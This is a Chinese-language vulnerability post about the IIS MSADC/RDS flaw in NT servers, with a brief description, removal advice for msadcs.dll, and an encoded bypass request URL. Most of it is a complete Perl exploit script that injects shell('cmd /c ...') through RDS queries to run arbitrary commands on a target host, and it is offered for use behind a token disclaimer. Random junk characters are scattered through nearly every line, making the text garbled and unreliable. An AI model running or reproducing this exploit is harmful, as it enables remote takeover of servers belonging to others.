IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!#I/be] d`<^+p)oy 涉及程序：
]~Vu-@
/} Microsoft NT server
YiuO u(X pf@ }4PN} 描述：
r)]CZ]) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
|Du13i4].& Qsxkw 详细：
&[ Zap6] 如果你没有时间读详细内容的话，就删除:
h&M
RQn o c:\Program Files\Common Files\System\Msadc\msadcs.dll
\y`3Lh Y 有关的安全问题就没有了。
YIQ]]q8R!L b y]|O 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
<1+6O[>{ x5z4Yv^
m 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
OG+r|.N; 关于利用ODBC远程漏洞的描述，请参看:
,(27p6! ~!-8l&C http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \ e8*vos nYy}''l< 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Sje0:;;| http://www.microsoft.com/security/bulletins/MS99-025faq.asp H L}~W}!j %
r Y8 这里不再论述。
\seG2vw$ Rfc&OV 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
`vxrC&,As kqvJ&7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
^=Ct Aa2 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
$:E}Nj]{& $%%>n ^?? vZeYp #将下面这段保存为txt文件，然后: "perl -x 文件名"
>_aio4j}r "]s|D@^4#b #!perl
Qy^ z *s #
rK QASRF5* # MSADC/RDS 'usage' (aka exploit) script
px }7If #
Ipz
1+
#s' # by rain.forest.puppy
d 6@jEa- #
h @,e`Z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Rs F3#H # beta test and find errors!
G(OT"+O, NC. P 2^% use Socket; use Getopt::Std;
QYTTP6 Gz+ getopts("e:vd:h:XR", \%args);
yEUNkZ5^ r d 6F"W print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Ls >u` hG 8yWu{'G if (!defined $args{h} && !defined $args{R}) {
+8 )]m< print qq~
8f,'p}@!d Usage: msadc.pl -h <host> { -d <delay> -X -v }
fAM D2C -h <host> = host you want to scan (ip or domain)
,B~lwF9 -d <seconds> = delay between calls, default 1 second
;*-@OLT_K -X = dump Index Server path table, if available
45 )ogg2 -v = verbose
E/7vIg
F -e = external dictionary file for step 5
qbU1 qF/ , |. *, Or a -R will resume a command session
~nj bLUB FQ^ <, ~; exit;}
l!;_lH 8W$ 'lN*Ys iDi $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Z cTL#OTP if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
MLt'YW^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
U +*oI * if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
C~KWH @ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5hJYy`h~ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@4_rx u&
'9 * |N= if (!defined $args{R}){ $ret = &has_msadc;
&:DCtjK die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
=X`]Ct8 Z /NW>;J}C print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Im?= e . "cmd /c ";
tt7PEEf $in=<STDIN>; chomp $in;
!u53 3 $command="cmd /c " . $in ;
{ \svV
0)~ ,qe]fo > if (defined $args{R}) {&load; exit;}
5BU% %fBJ. v LB ee>$
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
\,l.p_< &try_btcustmr;
5y%un
{b|3]_-/ print "\nStep 2: Trying to make our own DSN...";
jSie&V@ px &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^Y {6;FJ xTJ Sr2f print "\nStep 3: Trying known DSNs...";
!dyxE'T2 &known_dsn;
pkXfsi-Nu Z6IJ o%s print "\nStep 4: Trying known .mdbs...";
H~?*KcZ 0\ &known_mdb;
cuQ7kECV ~m?74^ i if (defined $args{e}){
b(#"w[| print "\nStep 5: Trying dictionary of DSN names...";
FDF3zzP0 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<.r ]dCf 3?.1~ "-J print "Sorry Charley...maybe next time?\n";
I&pr_ ~. exit;
R=vbUA O t *K+^I ##############################################################################
Z DOF 0'yG1qG sub sendraw { # ripped and modded from whisker
S,*{q( sleep($delay); # it's a DoS on the server! At least on mine...
5 \akI\ my ($pstr)=@_;
r~$}G-g socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}osHA`x"2 die("Socket problems\n");
?W[J[cb if(connect(S,pack "SnA4x8",2,80,$target)){
Qp kKVLi select(S); $|=1;
&'5@azU print $pstr; my @in=<S>;
t} *l?$` select(STDOUT); close(S);
JrCf,?L^ return @in;
yu`K zIU } else { die("Can't connect...\n"); }}
mL:m;>JJ n DKy >]Hca ##############################################################################
c*x J=Gz6d QKp+;$SE' sub make_header { # make the HTTP request
^&+zA,aL,A my $msadc=<<EOT
g08*}0- k POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
qri}=du&F User-Agent: ACTIVEDATA
eJU;*] xfH Host: $ip
.'t (-eT, Content-Length: $clen
Ku<b0<` Connection: Keep-Alive
gYTyH. FX
HAZ2/\ ADCClientVersion:01.06
rc;7W: Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1MbY7!?PG R'Kt=.s< --!ADM!ROX!YOUR!WORLD!
&mN' Tk Content-Type: application/x-varg
k $e D(cW$ Content-Length: $reqlen
y z[%MXI ?,ZELpg n EOT
0+T*$=? ; $msadc=~s/\n/\r\n/g;
ZY E' C return $msadc;}
J+ Jt4 AMbKN2h1f ##############################################################################
`Y\gS UhzS i\t753<Ys sub make_req { # make the RDS request
xS= _yO9- my ($switch, $p1, $p2)=@_;
8weSrm my $req=""; my $t1, $t2, $query, $dsn;
0JmFQ ^g( c3=- Mq9Q if ($switch==1){ # this is the btcustmr.mdb query
,>D ja59 $query="Select * from Customers where City=" . make_shell();
_1I K$gb[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@%6)^]m}r $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
't
+"k8 r_b8,I6{] elsif ($switch==2){ # this is general make table query
r5t;'eCe a $query="create table AZZ (B int, C varchar(10))";
_*O7l $dsn="$p1";}
=nJ{$%L\x, <+V -k| elsif ($switch==3){ # this is general exploit table query
?qju
DD $query="select * from AZZ where C=" . make_shell();
2 dHM $dsn="$p1";}
u?Fnln e4@ Gw cI0~5 elsif ($switch==4){ # attempt to hork file info from index server
fuq(
2&^ $query="select path from scope()";
R'rTE $dsn="Provider=MSIDXS;";}
>%-H j6% ,"~WkLI~\t elsif ($switch==5){ # bad query
TQ ;
Z.)L $query="select";
"yg.hK` $dsn="$p1";}
1TKEm9j ]u $aB /+, $t1= make_unicode($query);
P+[QI
U $t2= make_unicode($dsn);
TqI AWbb& $req = "\x02\x00\x03\x00";
d; 9*l!CF $req.= "\x08\x00" . pack ("S1", length($t1));
iJFr4o/R $req.= "\x00\x00" . $t1 ;
)VNM/o%Q $req.= "\x08\x00" . pack ("S1", length($t2));
lc]V \ 'e $req.= "\x00\x00" . $t2 ;
10mK}HT>4B $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}7K@e;YUg return $req;}
z 8IPhE@ ^;.T}c%N ##############################################################################
3 pB}2 ] q[-|ZA bbr sub make_shell { # this makes the shell() statement
n'T He|:I return "'|shell(\"$command\")|'";}
9/#0?(K8 1o8wy_eSs ##############################################################################
rvW!7 -R 2;8Xz 6T sub make_unicode { # quick little function to convert to unicode
$30oc
Tt{ my ($in)=@_; my $out;
Rv98\VD" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
}*NF&PD5RU return $out;}
Y=r!2u6 r~ *R BV'b ##############################################################################
)D;*DUtMVm 'iJDWxCD sub rdo_success { # checks for RDO return success (this is kludge)
=/[ltUKs:a my (@in) = @_; my $base=content_start(@in);
.Y;b)]@f if($in[$base]=~/multipart\/mixed/){
yH^f\u0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:pRF*^eU return 0;}
+#4]o
}6G m+?N7 ##############################################################################
5L F/5 ` 2gt+l?O<PS sub make_dsn { # this makes a DSN for us
^EF'TO$ my @drives=("c","d","e","f");
9z:K 1 print "\nMaking DSN: ";
:Zza)>l foreach $drive (@drives) {
kB o;h.[l print "$drive: ";
-LTKpN`[@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]nQ+nH "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
I"-dTa . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#<4--$Xo $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
mb&lCd ^- return 0 if $2 eq "404"; # not found/doesn't exist
wq UQ "d if($2 eq "200") {
k0L] R5W foreach $line (@results) {
%Uy%kN_& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Av o|v> } return 0;}
E !zX)|Z< (?vK_{ ##############################################################################
8!&nKy<Y C6|(ktt sub verify_exists {
uVGa(4u} my ($page)=@_;
/Y,r@D my @results=sendraw("GET $page HTTP/1.0\n\n");
F|Q H return $results[0];}
3V?817&6z yG\UW& P ##############################################################################
1]T|6N? {6h|6.S 2 sub try_btcustmr {
e'34Pw !m my @drives=("c","d","e","f");
Pe}PH
I my @dirs=("winnt","winnt35","winnt351","win","windows");
u^=`%) T?n -x?e foreach $dir (@dirs) {
%t*[T print "$dir -> "; # fun status so you can see progress
~h !
13! foreach $drive (@drives) {
GX
}q9 print "$drive: "; # ditto
/4*W DiH $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#jBN?Z# $reqlenlen=length( "$reqlen" );
:=*}htP4C $clen= 206 + $reqlenlen + $reqlen;
KVN"XqE4 R(G\wqHUT3 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_1aGtX|W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<J& 7 ]6Z else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
D^+?|Y@N <*<U!J-i ##############################################################################
z}+i=cAN ]!O ue_-; sub odbc_error {
Lu=O+{*8 my (@in)=@_; my $base;
je%l dY]/@ my $base = content_start(@in);
UX2lPgKdLz if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:HRT 2I $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y(5:}x&E $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dY!u)M;~~ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'N\&<dT> return $in[$base+4].$in[$base+5].$in[$base+6];}
E)W@{?.o# print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
NLyXBV[hV print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9 |{%i$ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
\K7t'20 Q =#I9- ##############################################################################
9pL g+6O ~ jN'J+_$ sub verbose {
eh( <m8I my ($in)=@_;
sZ g6@s= return if !$verbose;
<uci9- eC print STDOUT "\n$in\n";}
ys8Q.oBv_` )&, {?$ . ##############################################################################
Q s9OC9X1 &eQJfc\a sub save {
\ S4SI my ($p1, $p2, $p3, $p4)=@_;
mrM4RoO open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Qhn;`9+L print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Zgamd1DJ[l close OUT;}
})Yv9],6 Q M'X@ ##############################################################################
`)K y0&? \+m$ sub load {
;b0NGa(k my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7 ^$; open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Elb aFbr @p=<IN>; close(IN);
,DQjDMjrf $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
O=}g 4c $target= inet_aton($ip) || die("inet_aton problems");
XRtD< jlA" print "Resuming to $ip ...";
n lGHT $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^U@~+dw if($p[1]==1) {
iPj~I $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
^Yl I>_3s $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
wRvb8F 0 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3@<zg1.9- if (rdo_success(@results)){print "Success!\n";}
Da.G4,vLh else { print "failed\n"; verbose(odbc_error(@results));}}
Ak@Dyi?p elsif ($p[1]==3){
[
MyE2^ if(run_query("$p[3]")){
!wE}(0B Tx print "Success!\n";} else { print "failed\n"; }}
Z7a945Jd elsif ($p[1]==4){
BPv>$
m+. if(run_query($drvst . "$p[3]")){
cn`iX(ZgR print "Success!\n"; } else { print "failed\n"; }}
!%)]56( exit;}
`@Oa lg j:,9%tg ##############################################################################
91Z' rD
&D) w sub create_table {
O_~7Glu my ($in)=@_;
B^v8,;jZT $reqlen=length( make_req(2,$in,"") ) - 28;
8 sOQ9 $reqlenlen=length( "$reqlen" );
f&KdlpxKv $clen= 206 + $reqlenlen + $reqlen;
~h$wH{-U# my @results=sendraw(make_header() . make_req(2,$in,""));
Bc5+ ss return 1 if rdo_success(@results);
vXE0%QE'Q my $temp= odbc_error(@results); verbose($temp);
p3(2?UO! return 1 if $temp=~/Table 'AZZ' already exists/;
R2<s0l return 0;}
!t#F/C xHA0gZf ##############################################################################
eiVC"0-c} L |j%S sub known_dsn {
!&^gaUa{ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
/ F) H \* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
:-T*gqj| "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
}G
V X>p "banner", "banners", "ads", "ADCDemo", "ADCTest");
JRa q!/[( V3Z]DA foreach $dSn (@dsns) {
x;s0j"`Jb print ".";
lLhL`C ! next if (!is_access("DSN=$dSn"));
pzZk\-0R if(create_table("DSN=$dSn")){
# xh_ print "$dSn successful\n";
YJV% a if(run_query("DSN=$dSn")){
.a'f|c6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4rg2y] print "Something's borked. Use verbose next time\n";}}} print "\n";}
Xf[kI yx38g
ca ##############################################################################
}H> ^o9
\M< 3}t sub is_access {
80OtO#1y my ($in)=@_;
I:98 $ r$ $reqlen=length( make_req(5,$in,"") ) - 28;
+]Zva:$#` $reqlenlen=length( "$reqlen" );
i1lBto[ $clen= 206 + $reqlenlen + $reqlen;
/YAJbr my @results=sendraw(make_header() . make_req(5,$in,""));
u\yVR$pQ my $temp= odbc_error(@results);
w;6bD'.>; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
]6r;}1c
return 0;}
zi9[)YqxPH w"Y` ]2 ##############################################################################
RE2&mYt 58Xzup_" sub run_query {
e'%v1-&sP my ($in)=@_;
ia @'%8 $reqlen=length( make_req(3,$in,"") ) - 28;
(t+;O; $reqlenlen=length( "$reqlen" );
E
H:T $clen= 206 + $reqlenlen + $reqlen;
\y`+B*\i my @results=sendraw(make_header() . make_req(3,$in,""));
8.A R.o return 1 if rdo_success(@results);
9;.(u'y| my $temp= odbc_error(@results); verbose($temp);
D\dWt1n return 0;}
/AY4M;}p F,BOgWwP ##############################################################################
D,v U "\C$ sub known_mdb {
m,i,n9C-> my @drives=("c","d","e","f","g");
pKiZ)3U my @dirs=("winnt","winnt35","winnt351","win","windows");
x!L QxoNF my $dir, $drive, $mdb;
t]jF o my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
nfSbM3D]h nn/?fIZN4 # this is sparse, because I don't know of many
Hb} X-6N my @sysmdbs=( "\\catroot\\icatalog.mdb",
H %JaZ?( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
IYn]U4P.
"\\system32\\certmdb.mdb",
S8[=S "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Dl( 3wgA ^D e ERB my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
R0ID2:i]F "\\cfusion\\cfapps\\forums\\forums_.mdb",
eV:9y "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
C?v[Z]t "\\cfusion\\cfapps\\security\\realm_.mdb",
xw^R@H "\\cfusion\\cfapps\\security\\data\\realm.mdb",
zi R5:d3 "\\cfusion\\database\\cfexamples.mdb",
lGwl1 ,= "\\cfusion\\database\\cfsnippets.mdb",
RqEH| EUZ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
h I%bjuq "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
^bg2[ FV "\\cfusion\\brighttiger\\database\\cleam.mdb",
f"7O "6 "\\cfusion\\database\\smpolicy.mdb",
xsd_Uu* "\\cfusion\\database\cypress.mdb",
( wDm*bZ* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
g8qgk:} "\\website\\cgi-win\\dbsample.mdb",
A1'hlAGF "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
u0 aJu "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
<h%O?mkC ); #these are just
{;toI foreach $drive (@drives) {
4#x 5MM foreach $dir (@dirs){
$3`> {3x$ foreach $mdb (@sysmdbs) {
::Ke ^dp print ".";
{~!q`Dr3?q if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
@1.QE yX G print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
SDu#Yt&mhh if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Q_* "SRz print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
S5~VD ?O, } else { print "Something's borked. Use verbose next time\n"; }}}}}
- p3Re9 Bj k]ZU0T foreach $drive (@drives) {
f Vb-$ foreach $mdb (@mdbs) {
\drqG&wl print ".";
(py]LB Z if(create_table($drv . $drive . $dir . $mdb)){
w0w G-R ? print "\n" . $drive . $dir . $mdb . " successful\n";
G'3qzBJ# if(run_query($drv . $drive . $dir . $mdb)){
FZ!`B]]le, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
H
0+dV3 } else { print "Something's borked. Use verbose next time\n"; }}}}
O+g3X5f+ }
bM 8If" mPI8_5V8] ##############################################################################
0/S_ e)U }c i#> sub hork_idx {
3 "o"fl print "\nAttempting to dump Index Server tables...\n";
s! n<}C print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
(WJ${OW $reqlen=length( make_req(4,"","") ) - 28;
nF6q7 $reqlenlen=length( "$reqlen" );
nKW*Y}VO $clen= 206 + $reqlenlen + $reqlen;
x77l~=P+! my @results=sendraw2(make_header() . make_req(4,"",""));
fP.F`V_Y if (rdo_success(@results)){
PV|uPuz my $max=@results; my $c; my %d;
^Ge+~o?x for($c=19; $c<$max; $c++){
j'9"cE5_ $results[$c]=~s/\x00//g;
:'#TCDlOb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
TXe$ <4" $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
XsnF~ )YW $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ylt`*|$ $d{"$1$2"}="";}
/pF `8$ foreach $c (keys %d){ print "$c\n"; }
:0s ]U_h } else {print "Index server doesn't seem to be installed.\n"; }}
x| yEt O& N<QXmg qx ##############################################################################
c478P=g=5 Yjx|9_|Xn sub dsn_dict {
v) vkn/: open(IN, "<$args{e}") || die("Can't open external dictionary\n");
&u# &@J while(<IN>){
LpR3BP@At $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
`rf _7 next if (!is_access("DSN=$dSn"));
+$oF]OO if(create_table("DSN=$dSn")){
]\7]%( print "$dSn successful\n";
z5)s/;Sc if(run_query("DSN=$dSn")){
. 'Y]R3\M+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jDQZQ NS print "Something's borked. Use verbose next time\n";}}}
^ f# F I& print "\n"; close(IN);}
os/vtyP:a ,o)d3g-&g ##############################################################################
%-d]X{J: 76u&EG% sub sendraw2 { # ripped and modded from whisker
`uC@nJ sleep($delay); # it's a DoS on the server! At least on mine...
g!-,] my ($pstr)=@_;
4;2< ^[M socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
o6V}$wT3J die("Socket problems\n");
H^YSJ 6 if(connect(S,pack "SnA4x8",2,80,$target)){
) /z@vY print "Connected. Getting data";
$ @UN4B?y open(OUT,">raw.out"); my @in;
:=J,z,H _U select(S); $|=1; print $pstr;
=$]uoA while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
I1PuHf Qs close(OUT); select(STDOUT); close(S); return @in;
cReB~wk } else { die("Can't connect...\n"); }}
M bb x` Nm |!#(L ##############################################################################
`ho1nY$)CE ]xuG&O"SBV sub content_start { # this will take in the server headers
0qX3v <+[6 my (@in)=@_; my $c;
Th=eNL] for ($c=1;$c<500;$c++) {
lV % N if($in[$c] =~/^\x0d\x0a/){
hiQha5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
2Lx3=[ik else { return $c+1; }}}
aG^4BpIP return -1;} # it should never get here actually
iezO9` gG/!,Q.Qh ##############################################################################
Yb E-6|cz
EW3(cQbK sub funky {
k1QpKn* my (@in)=@_; my $error=odbc_error(@in);
fl\ly `_ if($error=~/ADO could not find the specified provider/){
j$+nKc$ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
TA{\PKA) exit;}
g1jTy7g? if($error=~/A Handler is required/){
~Q\3pI. | print "\nServer has custom handler filters (they most likely are patched)\n";
8 XU1 /i7N exit;}
1Z9qjV%^ if($error=~/specified Handler has denied Access/){
3+XOZh8 print "\nServer has custom handler filters (they most likely are patched)\n";
3`k;a1Z#O' exit;}}
{~F4WjHJp B[KJ R?> ##############################################################################
7AObC4 g mya_4I
m sub has_msadc {
;Rv!k&Df my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
5O\*h;U 6 my $base=content_start(@results);
['T:ea6B return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
;aw=MV return 0;}
_'(, u uQ(& ########################
Rj4|Q:XG cJrmm2.0kD -4cXRv] 解决方案：
qTqwPWW* 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
r wI 2、移除web 目录: /msadc
